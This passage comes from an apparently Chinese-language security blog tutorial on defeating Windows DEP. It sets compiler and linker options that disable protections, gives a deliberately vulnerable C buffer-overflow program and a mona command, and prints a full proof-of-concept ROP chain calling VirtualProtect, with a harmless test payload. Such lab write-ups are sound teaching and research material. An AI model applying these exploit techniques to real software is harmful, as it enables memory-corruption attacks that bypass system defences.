30px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;list-style-position:initial;list-style-image:initial;\">\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u5b89\u5168\u68c0\u67e5 \u5426(\/GS-)\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u542f\u7528c++\u5f02\u5e38 \u5426\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u542f\u7528\u5185\u90e8\u51fd\u6570 \u5426\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u4f18\u5316 \u5df2\u7981\u7528(\/Od)\n\t\t<\/li>\n<\/ul>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u914d\u7f6e\u5c5e\u6027-\u94fe\u63a5\u5668-\u6240\u6709\u5c5e\u6027\n\t<\/p>\n<ul style=\"box-sizing:border-box;margin:15px 0px;padding:0px 0px 0px 30px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;list-style-position:initial;list-style-image:initial;\">\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u6570\u636e\u6267\u884c\u4fdd\u62a4(DEP) \u5426(\/NXCOMPAT:NO)\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u968f\u673a\u57fa\u5740 \u5426(\/DYNAMICBASE:NO)\n\t\t<\/li>\n<li style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\t\u6620\u50cf\u5177\u6709\u5b89\u5168\u5f02\u5e38\u5904\u7406\u7a0b\u5e8f \u5426(\/SAFESEH:NO)\n\t\t<\/li>\n<\/ul>\n<h2 id=\"0x04-\u5b9e\u9645\u6d4b\u8bd5\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:24px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-6\"><\/span>\n\t\t0x04 \u5b9e\u9645\u6d4b\u8bd5<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<hr style=\"box-sizing:border-box;\" \/>\n<h3 id=\"\u6d4b\u8bd51\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:20px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-7\"><\/span>\n\t\t\u6d4b\u8bd51\uff1a<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u6d4b\u8bd5\u4ee3\u7801\uff1a\n\t<\/p>\n<div class=\"highlighter-rouge\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n<pre class=\"highlight\" style=\"box-sizing:border-box;margin-top:20px;margin-bottom:20px;padding:7px 7px 7px 10px;border:1px solid #DDDDDD;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;background-color:#EFEFEF;box-shadow:rgba(0, 0, 0, 0.0980392) 3px 3px;overflow:scroll;\"><code style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:&quot;vertical-align:baseline;\">char shellcode[]=\n\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t\"\\x41\\x41\\x41\\x41\\x42\\x43\\x44\\x45\";\n\nvoid test()\n{\n\tchar buffer[48];\n\tmemcpy(buffer,shellcode,sizeof(shellcode));\n}\n\nint main()\n{\n\tprintf(\"1\\n\");\n\ttest();\n\treturn 0;\n} <\/code><\/pre>\n<\/p><\/div>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\u6ce8\uff1a<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\tstrcpy\u5728\u6267\u884c\u65f6\u9047\u52300x00\u4f1a\u63d0\u524d\u622a\u65ad,\u4e3a\u4fbf\u4e8e\u6d4b\u8bd5shellcode\uff0c\u5c06strcpy\u6362\u6210memcpy\uff0c\u9047\u52300x00\u4e0d\u4f1a\u88ab\u622a\u65ad\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-1.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u4e0a\u56fe\uff0c\u6210\u529f\u5c06\u8fd4\u56de\u5730\u5740\u8986\u76d6\u4e3a0x45444342\n\t<\/p>\n<h3 id=\"\u6d4b\u8bd52\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:20px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-8\"><\/span>\n\t\t\u6d4b\u8bd52\uff1a<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\tshellcode\u8d77\u59cb\u5730\u5740\u4e3a0x00403020\n\t<\/p>\n<div class=\"highlighter-rouge\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n<pre class=\"highlight\" style=\"box-sizing:border-box;margin-top:20px;margin-bottom:20px;padding:7px 7px 7px 10px;border:1px solid #DDDDDD;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;background-color:#EFEFEF;box-shadow:rgba(0, 0, 0, 0.0980392) 3px 3px;overflow:scroll;\"><code style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:&quot;vertical-align:baseline;\">PUSH 1  \nPOP ECX <\/code><\/pre>\n<\/p><\/div>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5bf9\u5e94\u7684\u673a\u5668\u7801\u4e3a<code class=\"highlighter-rouge\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:&quot;vertical-align:baseline;\">0x0059016A<\/code>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5c06\u8fd4\u56de\u5730\u5740\u8986\u76d6\u4e3ashellcode\u8d77\u59cb\u5730\u5740\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\tshellcode\u5b9e\u73b0\u5982\u4e0b\u64cd\u4f5c\uff1a\n\t<\/p>\n<div class=\"highlighter-rouge\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n<pre class=\"highlight\" style=\"box-sizing:border-box;margin-top:20px;margin-bottom:20px;padding:7px 7px 7px 10px;border:1px solid #DDDDDD;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;background-color:#EFEFEF;box-shadow:rgba(0, 0, 0, 0.0980392) 3px 3px;overflow:scroll;\"><code style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:&quot;vertical-align:baseline;\">PUSH 1\nPOP ECX <\/code><\/pre>\n<\/p><\/div>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5176\u4ed6\u4f4d\u75280x90\u586b\u5145\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\tc\u4ee3\u7801\u5982\u4e0b\uff1a\n\t<\/p>\n<div class=\"highlighter-rouge\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n<pre class=\"highlight\" style=\"box-sizing:border-box;margin-top:20px;margin-bottom:20px;padding:7px 7px 7px 10px;border:1px solid #DDDDDD;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;background-color:#EFEFEF;box-shadow:rgba(0, 0, 0, 0.0980392) 3px 3px;overflow:scroll;\"><code style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:&quot;vertical-align:baseline;\">char shellcode[]=\n\t\"\\x6A\\x01\\x59\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\"\\x90\\x90\\x90\\x90\\x20\\x30\\x40\\x00\";\n\nvoid test()\n{\n\tchar buffer[48];\n\tmemcpy(buffer,shellcode,sizeof(shellcode));\n}\n\nint main()\n{\n\tprintf(\"1\\n\");\n\ttest();\n\treturn 0;\n} <\/code><\/pre>\n<\/p><\/div>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-2.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u4e0a\u56fe\uff0cshellcode\u6210\u529f\u6267\u884c\uff0cECX\u5bc4\u5b58\u5668\u8d4b\u503c\u4e3a1\n\t<\/p>\n<h3 id=\"\u6d4b\u8bd53\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:20px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-9\"><\/span>\n\t\t\u6d4b\u8bd53\uff1a<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5f00\u542fDEP\uff0c\u518d\u6b21\u8c03\u8bd5\uff0c\u53d1\u73b0shellcode\u65e0\u6cd5\u6267\u884c\uff0c\u5982\u56fe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-3.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<h3 id=\"\u6d4b\u8bd54\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:20px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-10\"><\/span>\n\t\t\u6d4b\u8bd54\uff1a<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4e0b\u8f7d\u5b89\u88c5Immunity Debugger\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4e0b\u8f7dmona\u63d2\u4ef6\uff0c\u4e0b\u8f7d\u5730\u5740\u5982\u4e0b\uff1a\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\thttps:\/\/github.com\/corelan\/mona\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5c06mona.py\u653e\u4e8eC:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands\u4e0b\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u542f\u52a8Immunity Debugger\uff0c\u6253\u5f00test.exe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4f7f\u7528mona\u63d2\u4ef6\u81ea\u52a8\u751f\u6210rop\u94fe\uff0c\u8f93\u5165\uff1a\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<code class=\"highlighter-rouge\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:&quot;vertical-align:baseline;\">!mona rop -m *.dll -cp nonull<\/code>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u56fe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-32.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\tmona\u4f1a\u641c\u5bfb\u6240\u6709\u7684DLL\uff0c\u7528\u4e8e\u6784\u9020rop\u94fe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u6267\u884c\u547d\u4ee4\u540e\u5728C:\\Program Files\\Immunity Inc\\Immunity Debugger\u4e0b\u751f\u6210\u6587\u4ef6rop.txt\u3001rop_chains.txt\u3001rop_suggestions.txt\u3001stackpivot.txt\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u67e5\u770brop_chains.txt\uff0c\u4f1a\u5217\u51fa\u53ef\u7528\u6765\u5173\u95edDEP\u7684ROP\u94fe\uff0c\u9009\u62e9VirtualProtect()\u51fd\u6570\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-4.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u4e0a\u56fe\uff0c\u6210\u529f\u6784\u5efaROP\u94fe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\u6ce8\uff1a<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4e0d\u540c\u73af\u5883\u6709\u53ef\u80fd\u65e0\u6cd5\u83b7\u5f97\u5b8c\u6574\u53c2\u6570\uff0c\u9700\u8981\u5177\u4f53\u73af\u5883\u5177\u4f53\u5206\u6790\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5bf9\u5e94\u7684\u6d4b\u8bd5poc\u4fee\u6539\u5982\u4e0b\uff1a\n\t<\/p>\n<div class=\"highlighter-rouge\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n<pre class=\"highlight\" style=\"box-sizing:border-box;margin-top:20px;margin-bottom:20px;padding:7px 7px 7px 10px;border:1px solid #DDDDDD;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;background-color:#EFEFEF;box-shadow:rgba(0, 0, 0, 0.0980392) 3px 3px;overflow:scroll;\"><code style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:&quot;vertical-align:baseline;\">unsigned int shellcode[]=\n{     \n      0x90909090,0x90909090,0x90909090,0x90909090,\n      0x90909090,0x90909090,0x90909090,0x90909090,\n\t  0x90909090,0x90909090,0x90909090,0x90909090,\n\t  0x90909090,\n      0x77217edd,  \/\/ POP EAX \/\/ RETN [kernel32.dll] \n      0x77171910,  \/\/ ptr to &amp;VirtualProtect() [IAT kernel32.dll]\n      0x75d7e9dd,  \/\/ MOV EAX,DWORD PTR DS:[EAX] \/\/ RETN [KERNELBASE.dll] \n      0x779f9dca,  \/\/ XCHG EAX,ESI \/\/ RETN [ntdll.dll] \n      0x779cdd30,  \/\/ POP EBP \/\/ RETN [ntdll.dll] \n      0x75dac58d,  \/\/ &amp; call esp [KERNELBASE.dll]\n      0x693a7031,  \/\/ POP EAX \/\/ RETN [MSVCR110.dll] \n      0xfffffdff,  \/\/ Value to negate, will become 0x00000201\n      0x69354484,  \/\/ NEG EAX \/\/ RETN [MSVCR110.dll] \n      0x75da655d,  \/\/ XCHG EAX,EBX \/\/ ADD BH,CH \/\/ DEC ECX \/\/ RETN 0x10 [KERNELBASE.dll] \n      0x69329bb1,  \/\/ POP EAX \/\/ RETN [MSVCR110.dll] \n      0x41414141,  \/\/ Filler (RETN offset compensation)\n      0x41414141,  \/\/ Filler (RETN offset compensation)\n      0x41414141,  \/\/ Filler (RETN offset compensation)\n      0x41414141,  \/\/ Filler (RETN offset compensation)\n      0xffffffc0,  \/\/ Value to negate, will become 0x00000040\n      0x69354484,  \/\/ NEG EAX \/\/ RETN [MSVCR110.dll] \n      0x771abd3a,  \/\/ XCHG EAX,EDX \/\/ RETN [kernel32.dll] \n      0x6935a7c0,  \/\/ POP ECX \/\/ RETN [MSVCR110.dll] \n      0x693be00d,  \/\/ &amp;Writable location [MSVCR110.dll]\n      0x779a4b9a,  \/\/ POP EDI \/\/ RETN [ntdll.dll] \n      0x69354486,  \/\/ RETN (ROP NOP) [MSVCR110.dll]\n      0x693417cb,  \/\/ POP EAX \/\/ RETN [MSVCR110.dll] \n      0x90909090,  \/\/ nop\n      0x69390267,  \/\/ PUSHAD \/\/ RETN [MSVCR110.dll] \n\t  \t\n      0x9059016A,  \/\/PUSH 1  \/\/ POP ECX \/\/ NOP\n      0x90909090,\n      0x90909090,\n      0x90909090,\n      0x90909090\n};\nvoid test()\n{\n\tchar buffer[48];\t\n\tprintf(\"3\\n\");\n\tmemcpy(buffer,shellcode,sizeof(shellcode));\n}\nint main()\n{\n\tprintf(\"1\\n\");\n\ttest();\n\treturn 0;\n} <\/code><\/pre>\n<\/p><\/div>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5176\u4e2d0x9059016A\u4e3a<code class=\"highlighter-rouge\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:&quot;vertical-align:baseline;\">PUSH 1;POP ECX;NOP;<\/code>\u7684\u673a\u5668\u7801\uff0c\u5982\u679c\u7ed5\u8fc7DEP\uff0c\u8be5\u6307\u4ee4\u5c06\u4f1a\u6210\u529f\u6267\u884c\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u7f16\u8bd1\u540e\u5728OllyDbg\u4e2d\u8c03\u8bd5\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5355\u6b65\u8ddf\u8e2a\u5230CALL KERNELBA.VirtualProtectEX\uff0c\u67e5\u770b\u5806\u6808\n\t<\/p>\n<p 